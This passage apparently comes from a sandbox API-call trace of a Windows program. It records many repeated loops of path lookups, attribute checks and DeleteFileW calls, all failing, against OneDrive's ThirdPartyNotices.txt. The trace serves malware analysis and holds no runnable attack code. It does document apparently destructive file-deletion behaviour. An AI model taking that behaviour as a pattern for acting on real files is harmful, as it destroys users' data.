"c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.941] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.943] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.945] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.947] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.948] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.948] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.949] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.949] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.950] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.950] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.952] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.952] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.952] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.952] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.953] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.954] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.954] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.955] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.955] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.955] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.958] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.958] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.958] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.959] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.960] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.960] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.961] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.961] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.961] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.963] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.963] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.963] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.965] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.965] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.965] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" 